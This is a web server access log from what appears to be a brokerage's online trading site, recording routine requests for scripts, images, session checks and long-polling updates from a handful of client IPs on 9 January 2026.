[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:24:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922144058 HTTP/1.1" -
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922144476 HTTP/1.1" 3188
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 292
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:24:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:24:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922149414 HTTP/1.1" -
[09/Jan/2026:09:24:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 212
[09/Jan/2026:09:24:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922161539 HTTP/1.1" -
[09/Jan/2026:09:24:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:09:24:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:24:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 757
[09/Jan/2026:09:24:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:24:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:24:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:09:24:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922147302 HTTP/1.1" -
[09/Jan/2026:09:24:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922150047 HTTP/1.1" -
[09/Jan/2026:09:24:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922154550 HTTP/1.1" -
[09/Jan/2026:09:24:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922166601 HTTP/1.1" -
[09/Jan/2026:09:24:43 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922152409 HTTP/1.1" -
[09/Jan/2026:09:24:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922156056 HTTP/1.1" -
[09/Jan/2026:09:24:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922171668 HTTP/1.1" -
[09/Jan/2026:09:24:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922159701 HTTP/1.1" -
[09/Jan/2026:09:24:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922158298 HTTP/1.1" -
[09/Jan/2026:09:24:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922176733 HTTP/1.1" -
[09/Jan/2026:09:24:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922164898 HTTP/1.1" -
[09/Jan/2026:09:24:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:24:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:24:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922162061 HTTP/1.1" -
[09/Jan/2026:09:24:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04_o.jpg HTTP/1.1" 3289
[09/Jan/2026:09:24:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:24:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04_o.jpg HTTP/1.1" 3289
[09/Jan/2026:09:24:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:24:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922164298 HTTP/1.1" -
[09/Jan/2026:09:24:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922181809 HTTP/1.1" -
[09/Jan/2026:09:24:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922170089 HTTP/1.1" -
[09/Jan/2026:09:24:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922168048 HTTP/1.1" -
[09/Jan/2026:09:25:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:25:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:25:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:25:01 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922170289 HTTP/1.1" -
